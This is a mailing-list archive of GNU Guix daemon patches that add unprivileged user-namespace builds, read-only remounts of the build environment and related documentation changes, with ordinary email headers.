+@cindex rootless build daemon
+@cindex unprivileged build daemon
+@cindex build daemon, unprivileged
+The second and preferred option is to run @command{guix-daemon}
+@emph{as an unprivileged user}.  It has the advantage of reducing the
+harm that can be done should a build process manage to exploit a
+vulnerability in the daemon.  This option requires the use of Linux's
+unprivileged user namespace mechanism; today it is available and enabled
+by most GNU/Linux distributions but can still be disabled.  The
+installation script automatically determines whether this option is
+available on your system (@pxref{Binary Installation}).
+
+When using this option, you only need to create one user account, and
+@command{guix-daemon} will run with the authority of that account:
+
+@example
+# groupadd --system guix-daemon
+# useradd -g guix-daemon -G guix-daemon              \
+          -d /var/empty -s $(which nologin)          \
+          -c "Guix daemon privilege separation user" \
+          --system guix-daemon
+@end example
+
+In this configuration, @file{/gnu/store} is owned by the
+@code{guix-daemon} user.
+
+@unnumberedsubsubsec The Isolated Build Environment
+
 @cindex chroot
-@noindent
-This way, the daemon starts build processes in a chroot, under one of
-the @code{guixbuilder} users.  On GNU/Linux, by default, the chroot
-environment contains nothing but:
+@cindex build environment isolation
+@cindex isolated build environment
+@cindex hermetic build environment
+In both cases, the daemon starts build processes without privileges in
+an @emph{isolated} or @emph{hermetic} build environment---a ``chroot''.
+On GNU/Linux, by default, the build environment contains nothing but:
 
 @c Keep this list in sync with libstore/build.cc! -----------------------
 @itemize
@@ -1015,7 +1068,7 @@ Build Environment Setup
 @file{/homeless-shelter}.  This helps to highlight inappropriate uses of
 @env{HOME} in the build scripts of packages.
 
-All this usually enough to ensure details of the environment do not
+All this is usually enough to ensure details of the environment do not
 influence build processes.  In some exceptional cases where more control
 is needed---typically over the date, kernel, or CPU---you can resort to
 a virtual build machine (@pxref{build-vm, virtual build machines}).
@@ -1035,14 +1088,6 @@ Build Environment Setup
 for fixed-output derivations (@pxref{Derivations}) or for substitutes
 (@pxref{Substitutes}).
 
-If you are installing Guix as an unprivileged user, it is still possible
-to run @command{guix-daemon} provided you pass @option{--disable-chroot}.
-However, build processes will not be isolated from one another, and not
-from the rest of the system.  Thus, build processes may interfere with
-each other, and may access programs, libraries, and other files
-available on the system---making it much harder to view them as
-@emph{pure} functions.
-
 
 @node Daemon Offload Setup
 @subsection Using the Offload Facility
@@ -1567,10 +1612,17 @@ Invoking guix-daemon
 @item --disable-chroot
 Disable chroot builds.
 
-Using this option is not recommended since, again, it would allow build
-processes to gain access to undeclared dependencies.  It is necessary,
-though, when @command{guix-daemon} is running under an unprivileged user
-account.
+@quotation Warning
+Using this option is not recommended since it allows build processes to
+gain access to undeclared dependencies, to interfere with one another,
+and more generally to do anything that can be done with the authority of
+build users or that of the daemon---which includes at least the ability
+to tamper with any file in the store!
+
+You may find it necessary, though, when support for Linux unprivileged
+user namespaces is missing (@pxref{Build Environment Setup}).  Use at
+your own risk!
+@end quotation
 
 @item --log-compression=@var{type}
 Compress build logs according to @var{type}, one of @code{gzip},
diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index 7ca55788d5..86b9f5472a 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -79,7 +79,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index c8b778362a..9a8278cd08 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -744,6 +744,10 @@ private:
 
     friend int childEntry(void *);
 
+    /* Pipe to notify readiness to the child process when using unprivileged
+       user namespaces.  */
+    Pipe readiness;
+
     /* Check that the derivation outputs all exist and register them
        as valid. */
     void registerOutputs();
@@ -1619,6 +1623,24 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child,
+				    uid_t hostUID = getuid(),
+				    gid_t hostGID = getgid())
+{
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1682,7 +1704,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1799,7 +1821,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1818,8 +1840,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1854,7 +1876,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1960,14 +1982,36 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	readiness.readSide.close();
+	if ((flags & CLONE_NEWUSER) != 0) {
+	     /* Initialize the UID/GID mapping of the child process.  */
+	     initializeUserNamespace(pid);
+	     writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	}
+	readiness.writeSide.close();
     } else
 #endif
     {
@@ -2013,23 +2057,36 @@ void DerivationGoal::runChild()
 
         _writeToStderr = 0;
 
+	if (readiness.writeSide > 0) readiness.writeSide.close();
+
+	if (readiness.readSide > 0) {
+	     /* Wait for the parent process to initialize the UID/GID mapping
+		of our user namespace.  */
+	     char str[20] = { '\0' };
+	     readFull(readiness.readSide, (unsigned char*)str, 3);
+	     if (strcmp(str, "go\n") != 0)
+		  throw Error("failed to initialize process in unprivileged user namespace");
+	}
+
         restoreAffinity();
 
         commonChildInit(builderOut);
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2180,6 +2237,27 @@ void DerivationGoal::runChild()
 	    /* Remount root as read-only.  */
             if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
                 throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
+
+	    if (getuid() != 0) {
+		/* Create a new mount namespace to "lock" previous mounts.
+		   See mount_namespaces(7).  */
+		auto uid = getuid();
+		auto gid = getgid();
+
+		if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
+		    throw SysError(format("creating new user and mount namespaces"));
+
+		initializeUserNamespace(getpid(), uid, gid);
+
+		/* Check that mounts within the build environment are "locked"
+		   together and cannot be separated from within the build
+		   environment namespace.  Since
+		   umount(2) is documented to fail with EINVAL when attempting
+		   to unmount one of the mounts that are locked together,
+		   check that this is what we get.  */
+		int ret = umount(tmpDirInSandbox.c_str());
+		assert(ret == -1 && errno == EINVAL);
+	    }
         }
 #endif
 
@@ -2476,8 +2554,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2736,16 +2822,46 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		bool reown = false;
+
+		/* First remove setuid/setgid bits.  */
+		secureFilePerms(tmpDir);
+
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			reown = true;
+		    }
+
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
+		    if (reown) chown(tmpDir.c_str(), getuid(), getgid());
+
 		    // Rename tmpDir to its parent, with an intermediate step.
 		    string pivot = top + ".pivot";
 		    if (rename(top.c_str(), pivot.c_str()) == -1)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (reown)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbce..83e6c3e16e 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, maxim.cournoyer@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:51 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:50 2025
Received: from localhost ([127.0.0.1]:60660 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDtS-0002jT-0l
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:50 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:56122)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDtM-0002hh-NJ
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:46 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDtG-0005Ms-Rm; Mon, 17 Mar 2025 13:04:38 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=wZDaJpSBiec4HWURn73Fvz7bhdz1AmvaDkV9vu9Mxas=; b=gfgYXk+t/QfGuiRKGrVJ
 yL4G8ETXmaQHj8SbWq6Pg0vt+e55CX4oP9187t+QTZYgy9GBdiRZ/+UcO29toiCThK57+6gHeClAF
 5Q5riGt9cso3nFI/HCFlRs7XdHMETuQHQHBYw4SI0Kc9x+m3yiBMP+S35pAd6HPmZ2RZq9AXc1mre
 Il2LK9IuIL3am3id0qYCabUtB2SCuSQZ5qHLNuaEUZuNjd7wsA6IOfBHyf4T3b4m+x+qumghv+mxu
 Is37RBFqU2NlQ4n/RghfRijvrk5GyVIi7GyKFJrzAJyJzMo36nX2EEcFskr28A9ckNjz2EREbC1j2
 gHltaDvJSSwEKA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 08/16] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Mon, 17 Mar 2025 18:02:51 +0100
Message-ID: <821f4eee184122c4a0b0f8859e436e742a78e6e0.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 83e6c3e16e..f6540c2117 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:16 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:15 2025
Received: from localhost ([127.0.0.1]:60650 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDsr-0002ei-FL
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:15 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34958)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsd-0002am-4K
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:02 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDsS-00056P-W8; Mon, 17 Mar 2025 13:03:49 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=ozQM+lYqSSPDiTg6Dp/w4oPIGKDs4CrGaOeKp99rZWg=; b=ezBIk7WDTVrD0bQGziaO
 u3xmUfLca4YXEfQwNelHc4W2vfiKYrVep9UgCZ4G1oi54nktgAIpOr1rbk9x4LTkc+g9DToHBzy3T
 juWnOvovzCqI42yRzZl4f698SqLe0xH/jZRor1PNpMpLXkWowz2YP6hr5UTppjvAc/Eb5YMBdaH0C
 2AgkU6jRKwxk5TVl13g//AJ5VzAR2EQwLXJYw8koCLvGvYyqLcQTGDzOzmABLX3+ouVPn9MdATLAq
 ycJ/XbJBujCmdPe0+PKVzVTMjBQP+497SCxJojz0Lv6THD13Al2zkdt2SBIs4hxNfRxgUD60k5WKp
 6S5+9CAYD/CHdg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 05/16] daemon: Remount inputs as read-only.
Date: Mon, 17 Mar 2025 18:02:48 +0100
Message-ID: <7bd937c5bb4882476092162aaf7d2dcd6080a9e8.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.8 (/)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.8 (-)

* nix/libstore/build.cc (DerivationGoal::runChild): Remount ‘target’ as
read-only.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: Ib7201bcf4363be566f205d23d17fe2f55d3ad666
---
 nix/libstore/build.cc | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 193b279b88..3861a1ffd9 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2107,8 +2107,15 @@ void DerivationGoal::runChild()
                     createDirs(dirOf(target));
                     writeFile(target, "");
                 }
+
+		/* Extra flags passed with MS_BIND are ignored, hence the
+		   extra MS_REMOUNT.  */
                 if (mount(source.c_str(), target.c_str(), "", MS_BIND, 0) == -1)
                     throw SysError(format("bind mount from `%1%' to `%2%' failed") % source % target);
+		if (source.compare(0, settings.nixStore.length(), settings.nixStore) == 0) {
+		     if (mount(source.c_str(), target.c_str(), "", MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+			  throw SysError(format("read-only remount of `%1%' failed") % target);
+		}
             }
 
             /* Bind a new instance of procfs on /proc to reflect our
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Mar 2025 17:04:14 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Mar 17 13:04:13 2025
Received: from localhost ([127.0.0.1]:60648 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tuDsp-0002eL-Tq
	for submit <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:04:13 -0400
Received: from eggs.gnu.org ([2001:470:142:3::10]:34942)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tuDsb-0002aO-Cu
 for 75810 <at> debbugs.gnu.org; Mon, 17 Mar 2025 13:03:59 -0400
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tuDsV-00057a-4w; Mon, 17 Mar 2025 13:03:51 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=3sOVW5n0d1cSpQd8PLRrsmflCadSWuH5XwPCIe/iTyM=; b=DQ54cPzuL/mSP1qf4akB
 qryPUChROs9LsSf6L0HjxSTMFy2e2XtMHrTs4/51jMpyt2nB/LJf3SN2UtEfiZS1fsSeIpKEakTcs
 p2uUHyga9KK0AdBmb7ubLWMD0dQFeyOdxwStuarfiq37UWdd0rUh9+eKlILtZd6fwDYy7ggrG+azu
 gZPvo2siO9d0Hs27mFZm73z8TJeGPzLhiC2xQrm+Go+iwBu1cpCLF/mdlSYxnIOgYN9E6Z7uuluoe
 r7X9FmKsRu/QOsxYxfuqJuedmIMzHHDmWi53nTf8w8ugmD048JD0wPKkCmK5hx6IXLKRYN7t+DmJS
 fXdkCGj663DujA==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v6 06/16] daemon: Remount root directory as read-only.
Date: Mon, 17 Mar 2025 18:02:49 +0100
Message-ID: <a308fcd418a6921ebfb3c1140f0353649d9698d1.1742230219.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1742230219.git.ludo@HIDDEN>
References: <cover.1742230219.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Bind-mount the store
and /tmp under ‘chrootRootDir’ to themselves as read-write.
Remount / as read-only.

Change-Id: I79565094c8ec8448401897c720aad75304fd1948
---
 nix/libstore/build.cc | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 3861a1ffd9..c8b778362a 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2091,6 +2091,18 @@ void DerivationGoal::runChild()
 
             for (auto & i : ss) dirsInChroot[i] = i;
 
+	    /* Make new mounts for the store and for /tmp.  That way, when
+	       'chrootRootDir' is made read-only below, these two mounts will
+	       remain writable (the store needs to be writable so derivation
+	       outputs can be written to it, and /tmp is writable by
+	       convention).  */
+	    auto chrootStoreDir = chrootRootDir + settings.nixStore;
+	    if (mount(chrootStoreDir.c_str(), chrootStoreDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of store '%1%' failed") % chrootStoreDir);
+	    auto chrootTmpDir = chrootRootDir + "/tmp";
+	    if (mount(chrootTmpDir.c_str(), chrootTmpDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of temporary directory '%1%' failed") % chrootTmpDir);
+
             /* Bind-mount all the directories from the "host"
                filesystem that we want in the chroot
                environment. */
@@ -2164,6 +2176,10 @@ void DerivationGoal::runChild()
 
             if (rmdir("real-root") == -1)
                 throw SysError("cannot remove real-root directory");
+
+	    /* Remount root as read-only.  */
+            if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+                throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
         }
 #endif
